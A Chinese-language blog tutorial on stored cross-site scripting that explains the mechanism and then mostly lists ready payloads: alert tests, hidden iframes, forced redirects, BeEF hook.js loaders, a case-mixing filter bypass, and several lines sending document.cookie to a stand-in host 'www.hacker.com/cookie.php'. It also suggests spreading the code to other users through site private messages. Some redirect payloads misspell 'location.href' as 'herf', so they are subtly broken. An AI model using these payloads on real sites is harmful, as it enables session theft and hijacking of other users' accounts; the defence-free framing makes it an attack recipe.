2021-01-07 儲存型跨站指令碼XSS Stored
儲存型XSS原理:
攻擊者在頁面插入xss程式碼,服務端將資料存入資料庫,當用戶訪問存在xss漏洞的頁面時,服務端從資料庫取出資料展示到頁面上,導致xss程式碼執行,達到攻擊效果。
儲存型XSS又叫持久型跨站指令碼。
XSS不僅僅限於JavaScript,還包括flash等其它指令碼語言。根據惡意程式碼是否儲存在伺服器中,XSS可以分為儲存型的XSS與反射型的XSS。
xss =>跨站指令碼攻擊=>前端程式碼注入=>使用者輸入的資料會被當做前端程式碼執行。
如果使用者輸入的資料不被存入資料庫可以做到儲存型xss嗎?
答案是可以的,儲存型XSS的核心是存入到某個地方然後呼叫,不一定就要存在資料庫裡,還可以是檔案裡。
構造XSS指令碼:
常用html標籤:
<iframe> 建立包含另外一個文件的內聯框架。
<textarea>定義多行文字輸入控制元件。
<img> 向網頁中嵌入一幅圖片。
<script> 定義客戶端指令碼,比如javascript,可以包含指令碼語句,可以通過src屬性指向外部指令碼檔案。
常用javascript方法:
alert 顯示帶有一條指定訊息和一個確認按鈕的警告框。
window.location 獲得當前頁面地址,並把瀏覽器重定向到新頁面。
location.herf 返回當前顯示的文件的完整URL。
onload 一個頁面或一個影象完成載入。
onsubmit 確認按鈕被點選。
onerror 在載入文件或圖片時發生錯誤。
彈框警告:指令碼可以執行,也就表明後端伺服器未對特殊字元做過濾。
<script> alert ('XSS') </script>
<script> alert (document.cookie) </script>
頁面巢狀:
<iframe src=http://www.baidu.com width=300 height=300> </iframe>
<iframe src=http://www.baidu.com width=0 height=0 border=0> </iframe>
頁面重定向:
<script>window.location="http://www.qfedu.com" </script>
<script>location.herf="http://www.baidu.com" </script>
彈窗警告並重定向:
<script>alert("請到我們的新網站"); location.herf="http://www.qfedu.com" </script>
通過網站內部私信的方式將其發給其他使用者,使用者在另外站點重新登入賬戶,就可以收集賬戶訪問惡意程式碼。
<script src="http://www.qfedu.com/XSS.js"></script>
<script src="http://BeEF_IP:3000 /hook.js"></script> 結合BeEF收集資訊。
巧用圖片標籤:
<img src="#"onerror=alert('xss')>
<img src="javascript:alert('xss');">
<img src="http://BeEF_IP:3000/hook.js"> </img>
繞開過濾 的指令碼:
大小寫:<ScrIpt>alert('xss')</SCRipt>
字元編碼,採用URL,Base64等。
開啟新視窗並使用本地cookie訪問目標網頁:
<script>window.open("http://www.hacker.com/cookie.php?cookie="+document.cookie)</script>
<script>document.location="http://www.hacker.com/cookie.php?cookie="+document.cookie </script>
<img src="http://www.hacker.com/cookie.php?cookie='+document.cookie"></img>
<iframe src="http://www.hacker.com/cookie.php?cookie='+document.cookie"></iframe>
本文來自部落格園,作者:{admin-xiaoli},轉載請註明原文連結:{https://www.cnblogs.com/crackerroot}